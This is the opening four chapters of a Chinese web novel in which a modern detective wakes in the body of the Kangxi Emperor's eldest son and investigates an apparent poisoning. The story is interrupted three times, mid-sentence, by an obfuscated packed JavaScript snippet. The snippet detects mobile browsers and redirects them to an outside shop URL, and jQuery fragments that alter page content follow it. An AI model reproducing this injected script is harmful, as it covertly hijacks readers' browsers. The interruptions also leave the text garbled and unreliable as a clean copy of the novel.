《清穿皇长子,但只想破案》
1. 第一章
殷倜醒过来时,只觉得太阳穴突突直跳,整个脑袋都疼得痛不欲生。
他死死蹙紧眉梢,挣扎着抬手想要摁上一摁,又觉得身体无限沉重,别说抬手就是睁开眼皮都困难。
“主子……主子您醒醒啊——”
“别吵!大爷好像,好像有呼吸了!”
“快快快,快把好消息禀告于太子爷!”
殷倜的耳边缭绕着各种声响,教他越发头痛得厉害,心下暗骂自家室友。
好好好,好你个李范,瞧你平日浓眉大眼,嚷嚷警匪片才是yyds,私底下居然是个古装剧爱好者?平日恐怕都是装的!
“李——”殷倜费尽全身力气,挣扎着撑开眼皮,准备吓唬吓唬室友。只是随着他眼前一明,殷倜的声音戛然而止,一双眼儿惊得溜圆。
映入他眼帘的赫然是名二十来岁,鼻涕眼泪糊了一脸的脸生青年。
殷倜吓出一后背冷汗,再定睛一看,只见脸生青年竟是头顶瓜皮帽,后头缀着根鼠尾辫,身上还穿着一身青色缎子衣衫!
自个儿怎么到戏场上了?正当殷倜开始怀疑眼前景象是否为恶作剧的时候,青年也注意到殷倜的苏醒,他眼泪夺眶而出,嗷的一嗓子高呼:“爷!主子!主子您醒了——”
殷倜脑袋里瞬间空了,双眼定定的,呆呆的看着对方。
青年见状,越发惶恐,布满泪水鼻涕的脸上努力挤出个笑容来,颤着声音试探着又喊了一声:“主子?大爷?奴才,奴才是武声啊。”
殷倜的眼珠子颤了颤,动了下。
还未等他说话,旁边的碧纱橱门一开,三名身高不同,虽相貌不同,但眉眼间多少有些相似之处的少年郎走进室内。
他们目标明确,直奔殷倜床边,为首那人更是双手直直摁在殷倜肩膀上,上上下下,仔仔细细打量着殷倜。
殷倜下意识观察着对方,少年郎的身体紧绷,落在肩膀上的双手不自觉地颤动着,眼眸深处无法遮掩的紧张和惶恐。
直到他确定殷倜无事并清醒后,少年郎的身体才渐渐放松下来。他收敛神色,眉眼舒展,看起来一派从容:“大哥?你醒了?你感觉怎么样?还有哪里不舒服……”
“大哥,你没事吧?”
“大哥,你刚刚吓死我们了!”
紧随其后,另外两名少年郎也纷纷开口。
殷倜渐渐醒过神来,却又希望他没有醒过神来。他直勾勾地盯着来者,面容渐渐扭曲,奇怪的反应教三人眼皮直跳,心下再次慌张起来。
为首者更是收回双手,转身看向身侧人:“御医未到,就先去旁边寻两名郎中过来!”
“是,太子爷。”
“皇……太,子。”殷倜呆呆地重复一遍,双目直勾勾地盯着少年郎的侧影。
瓜皮帽,鼠尾巴……
清朝时期唯有一位皇太子……名叫爱新觉罗·胤礽。
被他称为大哥的人是——
皇太子胤礽听着胤褆的声音,眼皮直跳,总觉得哪里怪怪的。他清楚知道胤褆对他并不服气,平日里两人说话也总带着点阴阳怪气,处处都要与他作对。
即便如此,也没有这般口气过?
胤礽蹙起眉心,想着胤褆又是突发疾病又是摔到脑袋,许是浑浑噩噩,这才勉强按下心中疑惑。
正当他耐下性子,转身看向胤褆时,只见他面白如纸,竟是两眼一翻,咕咚一声再次晕厥过去。
!!!???
皇太子再也控制不住他的面色,瞳孔巨震:“大,大哥?”
刹那间,整个屋子乱作一团。
殷倜,或者说胤褆脑袋里充斥着乱糟糟的记忆——有关于殷倜的,也有关于胤褆的。
他时而是连破三起命案,得上司赏识并即将晋升的优秀刑警殷倜,时而是出身优越才华横溢,却注定永远被弟弟压上一头的康熙帝长子胤褆。
他的脑海里时而浮现起初次面对歹徒袭击时的惶恐无措,在同事家人面前的故作镇定,时而又浮现出初次回宫时的紧张,初次被康熙帝夸赞的惊喜,以及发现汗阿玛的目光十有八九都落在皇太子身上时的失落。
无数繁杂的记忆交织在一起,如汹涌的洪水直直冲入脑海内,将殷倜的思绪打得七零八落。
再睁开眼,胤褆麻木而呆滞地看了眼坐在身侧的皇太子胤礽,又瞥了眼面露担心的三皇子胤祉和四皇子胤禛,一时间说不出话来。
哈,哈,哈,哈,哈……
这世上怎么会有这般离谱的事儿?胤褆想不通,他想不通啊,他好端端个生在春风里,长在红旗下,接受社会主义核心价值观熏陶的社会栋梁,怎么就,怎么就穿越到数百年前,还偏偏穿到清朝皇子身上。
胤褆痛苦,胤褆抓狂,胤褆还得努力思考,避免自己露馅后被当做妖孽一把火烧死。
他略略想罢,伸手扶额同时嘴里说:“这是……怎么回事?”
“醒了就好,醒了就好!”胤礽见胤褆醒来,提在半空中的心落下半截。他长舒口气,转而催促身边随从:“御医人呢?怎么还未过来!?”
“请御医做什么?我没事啊?”
“怎么没事?”皇太子被打断话语也未生气,而是好声好气地安抚着:“你身上有伤,头顶还被磕了这么大个破口,怎么没事?等等!”
皇太子察觉出胤褆话里的疑问,眉心跳动两下,刚刚落下的心瞬间又提到半空中,脑海里浮出个不详的预感。
紧接着,他耳边响起胤褆困惑又嫌弃的声音:“……太子二弟,你是不是生病了?怎么说起话来,教人有点恶……毛骨悚然的。”
“…………”胤礽,胤礽不想说话。
“再说,我哪里受伤……嘶!”胤褆撑着身体坐起来,顺着胤礽的话拍了拍脑门。
刹那间,火辣辣的痛感激得胤褆头皮发麻,强烈的疼痛充盈着整个大脑,教他疼得龇牙咧嘴,同时也让皇太子胤礽、三皇子胤祉和四皇子胤禛变了脸色。
自家大哥,不会是傻了吧。
三人交换着眼神,而后或是示意侍卫再去催促御医赶来,或是教人送上铜镜来,递到胤褆手里:“大哥……你真的受伤了啊?”
“你,没事吧?”
“嘶……我没事,嘶。”胤褆抽着嘴角,接过铜镜,对着镜子瞅了眼。
好在,他的脸未变,只瞧着稚气了些。
胤褆看着铜镜,自然而然也注意到胤礽提起的伤口——那伤口位处额角处,是道刚刚形成的血痂,瞧着像是直接撞击在某处形成的。
胤褆伸手碰了碰伤口,努力回想了下,只记得前身因得获康熙帝的旨意,明日起入朝堂旁听而得意非常,所以趁着休沐日邀约兄弟出宫喝茶吃菜。
再然后……胤褆便记不清了。
虽然他对历史知识了解不算深入,但也知道皇长子胤褆夺嫡失败还被圈禁多年——总归他寿命不短,不可能这么年轻就没的!
胤褆深深蹙起眉梢,原本只是想故作失忆,避免胤礽等人注意到他的异常之处,而时下眼里却是多了几分真心实意的困惑。
胤褆摁了摁再次抽痛起来的太阳穴,怔愣出神的模样把皇太子三人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623627|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吓住。
“真的假的?大哥你不记得了?”
“大哥,你还记得刚刚发生了什么事吗?”三皇子胤祉和四皇子胤禛接连开口,难掩担忧。
“我,记不清……了?”胤褆顺着他们的问题回答,直让三人张张嘴,一时失语。
胤祉和胤禛齐齐看向皇太子胤礽,而胤礽难得失态,脑瓜子嗡嗡作响,觉得真特么离了大谱!
怎么会这样子!
眼见三人恍恍惚惚,室内寂静无声,胤褆也顺势提出问题来:“我,我居然受伤了?我是怎么受的伤?”
“目前尚不清楚,”胤礽深吸一口气,勉强冷静下来。他沉吟了一会儿,见胤褆目光灼灼盯着他,还是下定决心说出来:“孤怀疑是中毒。”
“咱们兄弟四人到酒楼用膳,不过眨眼的功夫你便倒了下去,额头更是砸在桌案上。”
“不过大哥放心,孤已让人看管好所有酒水餐食,待御医与刑部官吏检查审讯后,定然会给大哥一个交代——”
“太子爷,太子爷!”
“冤枉啊!奴才冤枉啊——!”
皇太子胤礽话尚未落下,凄厉的哭喊声骤然响起,那声音刺耳得很,教胤褆几人忍不住蹙起眉心,齐齐往声音传来的方向扫去。
只见几名如鹌鹑般战战兢兢的郎中跟着侍卫往里走,随着声音变化,他们的腰也随之弯下,脸色更是白如纸张。
发出哭喊的人并不是他们。
胤褆心下狐疑,收回目光的瞬间眼角余光竟是瞥到一道身影。他眼睛一眯,下意识抬身而起,如敏捷的黑豹般俯身向前冲去,大手紧紧握住胤礽的手腕,一拉一扯一转,将他挪到身后的同时提膝重重一击。
“唔额!”
“咣当!”
接连两声巨响过后,在场众人也醒过神来。他们顺着声音传来的方向看去,一个个的眼睛都睁得溜圆,只见刚刚还蔫巴巴的胤褆竟是挡在皇太子胤礽身前,脚下还踩着个陌生男人。
!!!???
胤褆居高临下,冷冷盯着男人,直到侍卫上前将此人控制住,他才回转身去查看胤礽:“你没”事吧?
话还没说完,胤褆对上三双溜圆的眼睛。胤礽、胤祉和胤禛齐齐盯着他,眼睛嘴巴都张得溜圆,直到对视上他的双眼,三人才后知后觉地避开。
真的假的?胤褆保护他?
皇太子胤礽大脑里一片空白,恍惚半响才记起回答这件事,他喉结滚动了下,磕磕巴巴地回道:“我,孤,孤没事。”
“大哥,好厉害!”
“大哥,你的反应好快!”
胤祉和胤禛慢一拍,回过神来,纷纷开口夸赞道。别说他们没有反应过来,室内的侍卫仆役都没有胤褆反应快。
“哈哈,是吗?”胤褆闻言,稍稍有些心虚。他那是职业本能,下意识想要在歹徒面前保护普通群众,没想到,哈哈,哈哈。
刚刚还想装作自己缺失一部分记忆,不会这么快就露馅吧……
胤褆瞥了眼胤礽,撞到他视线的瞬间又迅速挪开,只能感受到热辣滚烫的视线灼烧着他的背脊。
胤礽颜色很纯的黑眼珠盯了胤褆一会,才慢吞吞地挪开。
胤褆没有出声,只是趁着皇太子胤礽视线挪开的间隙,尽量不引人注意地,悠长地吐出一口气。
——安心安心,没这么快露馅的。
胤褆安慰自己片刻,见侍卫摁住刺客后淡定地抬起腿……来!!!
几乎胤褆抬腿的瞬间,一股重力猛地袭来,他的裤腰随之重重向下坠去。
2. 第二章
刹那间,胤褆的淡定灰飞烟灭,他刚刚还暗自抱怨自个的反应速度太快,现在又开始庆幸他的反应速度足够快,这才教他能及时反应过来,就在裤子彻底落下的瞬间死死摁住,断绝了他社死的未来。
胤褆回过神来,冷汗遍布后背。他精神振奋,一双眼儿睁得圆溜溜,又惊又怒的视线扫向凶手,还有那帮尴尬到冒汗,企图拯救裤脚未果的侍卫。
“太子爷——奴才是冤枉的!”
“…………”胤褆拽着裤腰,面无表情地瞅着被侍卫死死摁住的男人,听着清脆的裂帛声,感受着凉风吹袭□□的微妙冷意,嘴角的弧度渐渐向下,尤其对上皇太子胤礽等人的视线后脸色更是如墨般漆黑。
富强、民主、文明、和谐……
胤褆反复背诵着二十四字,也挡不住额头血管突突直跳,要不是担心用力过猛会导致裤子破裂,否则他定然一脚踹飞眼前这人。
“太子爷,奴才冤枉啊——”被摁在地上的男人发出凄厉的哀嚎,偏生他的头和身体被侍卫死死摁在地上,以至于压根没发现他认错了人。
…………以上这些都不是重点。
胤褆努力扯着裤腰带,并企图把脚从男人手里抽出来。偏生他刚刚多用了点力气,那男人手上的力气也对应着变大,声音也越发撕心裂肺:“太子爷——奴才是冤枉的!”
“奴才是索额图大人府上的,哪里会做这等事,太子爷!奴才是冤枉的啊!”
男人的话语一出,在场众人的神色突变。且不说太监和侍卫们下意识埋低了头,就是三阿哥胤祉和四阿哥胤禛也猛地愣住,下意识瞧了眼太子胤礽。
胤礽还来不及反应,那边的胤褆已是忍无可忍。他示意侍卫把男人拉起来,咬紧牙根怒道:“无论你是不是被冤枉的,先松开手,本皇子的裤子都要被你扯破了!”
刚刚还紧张非常的三皇子胤祉听到这里,也压不住笑声,噗嗤笑出声来:“你先瞧瞧眼前人是谁……再说话吧?”
男人的求饶声戛然而止,他松开手里攥着的裤脚,又顺着侍卫的力道爬了起来,最后抬头往前看去。
他视线游离一瞬,而后才凝聚在胤褆身上,神色一滞:“太子?不是太子爷……”
“这位是大皇子殿下。”
“大皇子殿下!?”男人声音猛地抬高,整个人瞬间僵在原地。
胤褆黑着脸,先把裤子往上提了提,确保他远离裤子掉落的风险,随后他目光转向男人:“你刚刚说,你是索额图府里的人?你叫什么名字?是做什么的?侍卫为何抓捕你?”
“小人名叫噶尔汉,乃是正黄旗边佳氏,时下正跟着格尔芬大人做事,哪里会做出刺杀太子爷的事……咦?”
噶尔汉恍恍惚惚的回答着,直到说到最后他才惊觉似乎有些不对劲。他傻傻地抬起头来,目光落在胤褆额头的伤口上,声音渐渐变轻。
等等,出事的好像不是太子爷?
噶尔汉瞬间双眼放光,喜不胜喜,只是他欣喜没过一秒,笑容登时僵住,冷汗冒得比刚刚还快了些。
正黄旗的旗人,又是赫舍里府上的门人,天生便是太子爷派系的。他对太子爷下手的概率那是小之又小,嫌疑可以说直线下降,但对大阿哥下手的概率——
噶尔汉两眼一黑,恨不得晕过去。
胤褆还等着他说话呢,见状双臂环抱胸前,半弯着腰,一双如鹰隼般犀利的眼眸紧紧盯着噶尔汉:“说话。”
实不相瞒,噶尔汉对上胤褆双目的瞬间,背脊像是过了电般激灵了下,扑面而来的强烈气势教他下意识点点头,慌慌张张地应声:“是,是!”
“事实上……今日包间里的餐食,是奴才教人上的。”噶尔汉苦着脸,回答道。
就在半个时辰以前,噶尔汉尚在惊喜他的幸运,他居然在酒楼门口偶遇了出行的太子!
光凭这点,他都能吹上一个月!
这样还不够,噶尔汉觉得这是老天爷给予他露脸的机会。
要知道噶尔汉虽说是正黄旗旗人,又是在赫舍里府上做事的,但无论是前者或是后者的数量都是个巨大的数字,想要出头那是难上加难,就他那跑腿的差事都有无数人盯着,时刻准备把他拉扯下来。
若是能在太子跟前露露脸,那他的地位稳固不说,还有可能更进一步哩!
这般的天赐良机,噶尔汉自是不舍得放过。他强忍住上前请安问候的冲动,而是跟着一行人进了铺子,吩咐灶房送上餐食招待的同时,他也跟着一行人进了隔壁包间,思考如何到太子跟前露脸。
什么荣华富贵,什么平步青云。噶尔汉想着他刚刚在隔壁包间琢磨的美梦,又亲眼目睹美梦如落在地上的瓷器般破碎开来,心下又是委屈又是后怕又是恐惧。
他哪里是运道好,明明是倒霉透顶!
噶尔汉自怨自艾,一时间脑海里充盈着各种末路,更觉得他已站在悬崖边缘,摇摇欲坠。
“啧,醒醒神。”眼见噶尔汉又一次皱巴起脸,眼眶蓄满泪水后,胤褆的眉心渐渐拧紧,开口提醒:“你要是还想要本皇子为你主持公道,就赶紧将事情如实道来。”
噶尔汉猛地醒过神来,忙打起精神,接着往下说道:“奴才一心孝敬太子爷,哪晓得,菜才刚刚送进去就出了事。”
“奴才,奴才听到声响,就想着,想着出来瞧一瞧。”噶尔汉再回想刚刚那惊心动魄的一幕,依然是神色苍白:“就听侍卫说里面主子爷出事了!”
噶尔汉吓得六神无主,哪里还顾得上他先前预想的方案,惊叫着上前询问。
“然后你就被侍卫当凶手……抓进来了?”胤褆听罢,顺口接话道。
“是,是的。”噶尔汉连连点头。
“你们就抓了他一个?”胤褆扫了一眼旁边的侍卫,声音平淡。
“……不,不是。”侍卫敛了神色,严肃答道:“回禀大皇子,这人是嫌犯之一,除他以外奴才等人还扣下了接触过餐食的所有人。”
旁边的侍卫接话:“其中包括负责料理餐食的厨子、负责送菜的伙计以及这家铺子的管事,奴才准备将他们交予步军统领衙门审讯。”
步军统领衙门,全名为提督九门步军巡捕五营统领衙门,负责统领京城内满蒙汉八旗步兵与绿营兵,同时也负责涉及满人案件的处理。
按原身遭遇刺杀的严重性,步军统领需立即控制此处所有涉及人员,并与刑部、大理寺和都察院共同审讯查案,并最终将由康熙帝定案。
侍卫说罢,不免心生委屈,他们是按着流程做事,偏生这人搞得他们好像抓了他就要把他杀了灭口般,在门口又是惨叫又是哭嚎。
侍卫想罢,下一秒对噶尔汉多了点怀疑,沉声道:“倒是此人又哭又叫,引发不小的骚动……教奴才说,说不定此事为其同谋所做,这才故意闹腾起来,好让对方逃脱!”
侍卫越想越像,越想越觉得有道理。他盯着噶尔汉,审视的视线教噶尔汉的脸瞬间涨得通红,抬声反驳:“我,我只是担心太子爷,这才,这才出声呼喊的!”
侍卫不置可否,将决定权交到胤褆等人的手上,恭恭敬敬等待众人裁决。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623628|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>胤祉和胤禛相视一眼,默默站在旁边纯当是吃瓜群众——大半心思都在胤褆身上的那种。
瞧瞧大哥平时对太子二哥横挑眉毛竖挑眼的架势,刚刚保护的时候却是利索得很呢!
[我怀疑是大哥脑袋摔坏了!]
[说不定大哥只是面冷心热!]
两兄弟交换着眼神,像是迎头浇了一盆冰水般精神振奋,两人仔细观察着胤褆,意图捕捉到胤褆的真实面目。
不同于胤祉和胤禛事不关己高高挂起,还有闲心逸致观察,那边的太子胤礽却是脸色不太好看,甚至有点崩溃!
侍卫话说到这里,他哪听不出来,侍卫压根没给这噶尔汉定罪,而是他自己把自己吓得半死,进来以后还扯着索额图与格尔芬的大旗作证,教在场所有人都听得清清楚楚。
暂且不提他与此事的关系,只怕事后便会传至汗阿玛的案头,说不定给索额图和格尔芬头顶戴个小材大用,用非其人的帽子。
胤礽想罢,登时心里烦闷,一股恼意直直窜上前来。一时间,他睨着噶尔汉的眼神就像是在看个死人,冷得惊人:“温茂,高远!”
胤礽指着先前解释的两名侍卫一声令下:“将其与其他嫌疑人等送往刑部,着刑部加急查办。”
“喳。”两名侍卫遵命,伸手再次将脸色灰败的噶尔汉抓住。
“太子爷……”噶尔汉还想求饶,却是对上胤礽轻飘飘的视线时心中一凉,终于寻回理智。他想着他刚刚的一系列操作,只觉得头晕目眩,整个人无力地瘫倒在地。
荣华富贵?步步高升?
恐怕他能不能保住这条命都不一定!
随着太子胤礽的话语,室内也骤然安静下来,仿佛空气都凝结成团,数道目光落在被拖行向外而去的噶尔汉,依稀觉得不会再见到这人。
“且慢。”
忽地,一道声音打破了室内诡异的静谧。胤褆没有注意到室内气氛的变化,而是平静地往下说:“受害者是本皇子吧?这事不如交给我来处理。”
…………处理?
室内众人一时间还未醒过神,慢一拍才渐渐明白,这意思是大皇子要自行查案?
真的假的?大哥要查案?
胤祉和胤禛活像是吃瓜却没带切瓜刀,眼儿睁得溜圆,带着点傻气瞅着胤褆。
真的假的?胤褆你查案?
胤礽憋了一肚子的火气都随着一句话而消散一空,面上闪过一缕茫然,惊疑不定地盯着胤褆。
就胤褆的性子,他能查案!?
三兄弟的脑回路在此刻达成一致,彼此交换眼神中带着三份担忧,三分疑惑,还有四分惊恐。
胤褆的脑袋,不会是真撞坏了吧!?
皇太子胤礽想着胤褆护在他跟前的景象,越发肯定了这个猜测,看着胤褆的眼神都柔和了些许,好声好奇地劝说:“大哥,你现在应当好好休息下才是。”
“刚刚寻来的郎中……”胤礽目光一转,又皱了皱眉,只见那几名郎中被先前景象吓了跳,现在宛如鹌鹑般瑟缩在角落里,教他们看病,胤礽还担心没病看出病来。
果然,还是得请御医才是。
胤礽心思转圜,还未想好如何拉着胤褆,便听到他大咧咧的声音:“看什么御医哦?说不定我看到犯罪现场,记忆就回来了呢。”
胤礽脸色有些怪异,想了想,为了避免影响到胤褆的伤情,他决定贴心地选择配合,大手一挥道:“既然大哥有意,孤自然愿意成全。温茂!你去将其余嫌疑人统统带上前来。”
“喳。”
3. 第三章
趁着侍卫温茂传唤相应嫌疑人的间隙,胤褆也准备去外边瞧一瞧。
从苏醒开始到现在,他已将室内所有景象都纳入眼中。比如他所处的床榻靠近窗户,依稀能听到窗外街头上的叫卖声,又比如除去床榻以外,室内陈设摆放精致,偏偏那张桌案上除去搁着个官窑花瓶,连个茶盏都未搁置,绝非是招待太子乃至原身等人应有的场景。
胤褆料想这里并非是原身受伤的第一现场,而是在原身昏迷后被转移的地方。
至于第一现场,大约是——
随着太监武声推开碧纱橱,胤褆抬步走出里室,果然映入眼帘的是另一幅景象:外间要比里间更宽敞许多,装饰也比里间要更为奢华,满墙满壁的古董玩器,花样周全,那扑面而来的富贵味教胤褆皱了皱眉,着实看得眼疼。
居中的是一张圆桌,上头还摆着尚未处理的餐食杯盏。可惜即便胤褆亲眼目睹现场,也没能从脑袋里翻出些可靠的记忆来,他也不着急,慢悠悠地围着餐桌转了一圈,很快寻到目标。
胤褆脚步一顿,微微弯腰,凝视着那道血迹已凝固成暗红色的印记,从方向和形状判断出前身摔倒的姿势,又顺势寻出他刚刚所坐的位置,往餐桌上看去。
木筷,略有痕迹。
汤匙,留有少量汤汁。
酒盏,还剩余大半酒水。
散乱的碗筷,倾斜洒落的汤汁,都彰显出这件事发生的突然。
四人的餐盘里都有剩余的食物,说明胤礽、胤祉和胤禛都有用餐。若是下毒所致,为何其余三人平安无事唯有前身晕厥乃至死亡?
照他的想法,真要是行凶刺杀那也该先杀太子吧?为何目标是前身?
胤褆看着桌上道道样式精美的餐食,没能解开疑惑不说,问题却是越来越多。他想了想,先唤噶尔汉上前:“这里的菜品,都是你刚刚定下的?”
“大哥为何要这么问?”
“唔……”胤褆瞧了眼发问的四皇子胤禛,伸手点了点近处的一道菜品:“这道黄焖鱼翅应当用的是头汤熬制,光是制作便要耗费六个时辰以上,外头的铺子常要预定才能尝到。”
“还有,还有这等事?”胤禛对此全然不知,连忙转身看向噶尔汉。
“是,是,是!就和大皇子殿下说的一样!”噶尔汉满脸堆笑,连连附和胤褆话语的同时还补充道:“除去这道黄焖鱼翅汤外、像是这道盐烤飞鱼、还有这道八宝浓汤……都是得提前几日预定,准备好食材才能制作的。”
“因着奴才常来光顾,加上吴掌柜也晓得奴才的口味,所以奴才并不会敲定菜品,而是由酒楼自行安排。”
“也就是说,你也不清楚具体的菜品。”胤褆从噶尔汉的话语中得出答案,终于有了个明确的猜测:“原来如此。”
“大哥,你已经有答案了?”
“是,也不是。”胤褆闻言微微一笑,与三个兄弟解释:“大哥我只是确定了一件事——凶手的目标不是我。”
“不是大哥,难道……”
“没错,噶尔汉才是凶手真正的目标。”
“我才是凶手的目标……”噶尔汉傻傻地重复一遍胤褆说的话,解除嫌疑的欢喜没在脸上凝固三息时间,就化作灰烬。
下一秒,他如惊弓之鸟般窜了起来,而后刚刚发力的双腿又开始打起哆嗦:“奴才才是,奴才才是凶手的目标……凶手想要杀死的是奴才!?”
“没错。”胤褆给出肯定的回答。
“…………”噶尔汉完全不想要这般贴心的答复,更希望大皇子能直接了当反驳他的话。
哈哈,哈哈,原来要被杀的是我!
噶尔汉的脸煞白煞白的,两条腿像是面条般直往下滑:“是谁?是谁想要杀死奴才!?”
他整个人都不好了,身体往前扑,膝行两步:“大皇子!大皇子殿下!求求您救救奴才,奴才不想死啊——唔!”
这回不用胤褆开口,侍卫熟练地堵住噶尔汉的嘴。胤褆了却第一个问题之后,兴致越发高昂,他回到餐桌前面,重新仔细查看菜品来:“这里的餐食,有人接触过吗?”
“回禀大皇子,奴才可以保证无人触碰过。”跟在后面的高远恭声回答,而后又详细补充道:“刚刚事发突然,奴才恐事后刑部或是步军统领衙门需查证情况,便教人看着这里,全部保持着先前的模样。”
“很好。”胤褆点了点头,抬眸看了眼高远,把眼前这名处事不惊,做事井井有条的靠谱侍卫记在心里。
胤褆寻出几个疑点,却未声张,而是坐在原来的位置上,又教太监武声取来瓜皮帽,戴在头上已遮住受伤的部位。
最后,他教人将噶尔汉带进里室:“未得本皇子的允许,不允许他出声。”
待胤褆准备就绪,温茂也将其余嫌疑人一贯带了上来。
这其中便有铺子掌柜夫妇、厨子、伙计以及两名受到噶尔汉邀约的食客:“回禀大皇子,酒楼里与噶尔汉相熟者都已到齐。”
进屋的百姓起初还一脸忐忑,等听到侍卫称呼胤褆为大皇子后,登时各个神色大变,呼啦啦地跪下请安问候。
胤褆叫了众人起来,而后道:“你们可知,本皇子传唤你们过来是为何?”
众人皆是迷茫,纷纷犹豫着摇头。
胤褆目光滑过每人的脸庞,手指轻轻叩击着桌案。
笃,笃,笃。
富有节奏的声音像是重重敲击在几人的心头上,教在场众人的心七上八下,渐渐不安。
胤褆眯了眯眼,道:“噶尔汉死了。”
刚进碧纱橱,提心吊胆等着胤褆审讯却听到他被死亡的噶尔汉:???
且不说待在里间的噶尔汉如何震惊,要不是侍卫眼明手快,迅速将其压制,恐怕他当场要表演个死而复生,就是坐在旁边的胤礽、胤祉和胤禛也险些没控制住脸上表情,几人或是别过头去,或是狠狠掐自个一把才没当场破功。
“什么!?”同时被胤褆话语所震惊的还有跪了一地的嫌疑人,他们先是面露迷茫,而后脸色突变,有人不安,有人惊恐,每个人脸上的表情都不甚相同。
“噶尔汉大人?是噶尔汉大人吗?”反应最快的是名矮胖男子,他不可置信的呼喊着,挣扎着往前几步,似乎想要寻觅尸体的踪迹。
胤褆抬眸看了眼高远,高远心有灵犀地解答:“此人乃是酒楼的掌柜,吴贺。”
两名侍卫拦住吴掌柜,同时其余人也渐渐回过神来,一个个皆是瞠目结舌,瞳孔地震,惊呼声不绝于耳。
“死人了,死人了……”
“怎么可能?噶尔汉怎么会死了?”
“噶尔汉大人……”
“怎么会这样……怎么会发生这种事!”
“等等?等等!大皇子殿下,这事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623629|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和我们无关啊!”也有人反应过来,这才知晓自己被官兵拦住的原因。
其余人从激动中回过神来,神色苍白,纷纷应和:“对,对啊。”
“小民只是个伙计,什么都不知道!”
“是噶尔汉邀请我来喝酒的,但我等了很久都没见他来,再晓得他消息就是现在了……我是无辜的!”
发现他们竟是涉及杀人案后,在场众人皆是着急起来。他们七嘴八舌,争先恐后述说着自己的无辜。
胤褆打住众人的话语,先是教温茂和武声两人负责问询伙计帮厨等人,至于他则负责问询噶尔汉的朋友和酒楼掌柜。
“你们说说罢,这一个时辰以来你们都在哪里?在做些什么?”
“……是。”率先上前的是被噶尔汉邀请来的两名朋友,他们一个叫章泰,一个叫喇克达,都是旗人,两人与噶尔汉关系不错,今日也是应邀而来。
章泰率先开口:“我们两人常与噶尔汉一起喝酒吃菜,家里人都知道这件事。今日我与往常一般到酒楼,一直在别的包厢等着,我先到,而后喇克达也到了,就是噶尔汉迟迟没来。”
“等咱们听到外面吵闹起来,就是官兵守住的时候……我不知道他怎么就……怎么就会被人杀死。”
“对对对。”喇克达附和着,“我进包厢的时候章泰已在里面了……而后咱们就一直在一起。”
“这样的证词也不能采信,说不定是互相包庇。”旁听的胤祉双手环抱胸前,闻言皱起眉,插话道。
“包庇?”两人登时傻了眼,很快章泰想起一事,连忙伸手指向被带到旁边问话的伙计:“李小二能为我们作证!”
“对!我是李小二带我过去的。”喇克达双眼放光,连连附和着:“当时我到包厢里,章泰就已经在里面了。”
“没错。”章泰点了点头,“当时噶尔汉还未来,我们担心菜品凉了就没让他们上菜……”
“对,对。”喇克达闻言,忙不迭点了点头:“噶尔汉他脾气不好,要是菜品不如意就会破口大骂,吴掌柜也没少挨骂。”
“我们让李小二先回去,等噶尔汉到了再上菜……不过说来也奇怪。”喇克达说到这里,略有些迟疑。
他想了想,还是接着往下说:“直到刚刚官爷让我们出来时,我们都一直呆在包间里,根本不知道噶尔汉已经到了!”
“没错没错。”
“李小二,是这样吗?”胤褆教人将李小二带过来,询问他带领两人去包厢的事宜。
“回禀大皇子殿下,两位爷说的没错,是小人带两位爷去的包厢。”李小二很快证实两者的话语,同时又说出另外件事:“但当时……噶尔汉大人已经到了。”
“什么!?”
“李小二,你胡说什么?当时噶尔汉已经到了?那他为什么不来找我们?”章泰和喇克达脸色大变。
“等等……他当时就在酒楼里?又不来找咱们……说不定他当时就死了!”
“没错没错,而且酒楼里一直没给咱们两个上菜!”章泰双眼放光,忽然看向一旁的吴掌柜夫妇,语气变得尖锐起来:“莫不是有人知道这个时候噶尔汉已死,所以根本不用上菜!?”
章泰话语一出,现场瞬间安静。
安静的室内只回荡着喇克达欢喜的声音:“那这样的话,就不可能是我们杀人了,我们根本没这个时间!”
4. 第四章
喇克达难掩欢喜,满腔雀跃的声音在室内回荡,教所有人都投去惊诧的视线。
整个室内寂静无声,安静得可怕。
半响室内才有人悄声嘀咕:“他们,真的是朋友?”
“当然是!”喇克达慢一拍才从激动中回过神来,脸上露出不自然的表情。
面对周遭人质疑的目光,他僵着表情,忙不迭为自己解释:“我,我,我这是激动,为能够找出真相而激动!”
面对所有人怀疑的视线,喇克达连忙指出嫌疑更大的人来:“大皇子殿下,还是赶紧审讯审讯吴掌柜!教奴才说,吴掌柜夫妇应当就是杀害噶尔汉的凶手!”
“他们熟悉酒楼,想来定然可以避开其余人,神不知鬼不觉地杀害噶尔汉。”
“最重要的是——”喇克达指着吴掌柜夫妇,掷地有声:“他们夫妇和噶尔汉有仇!”
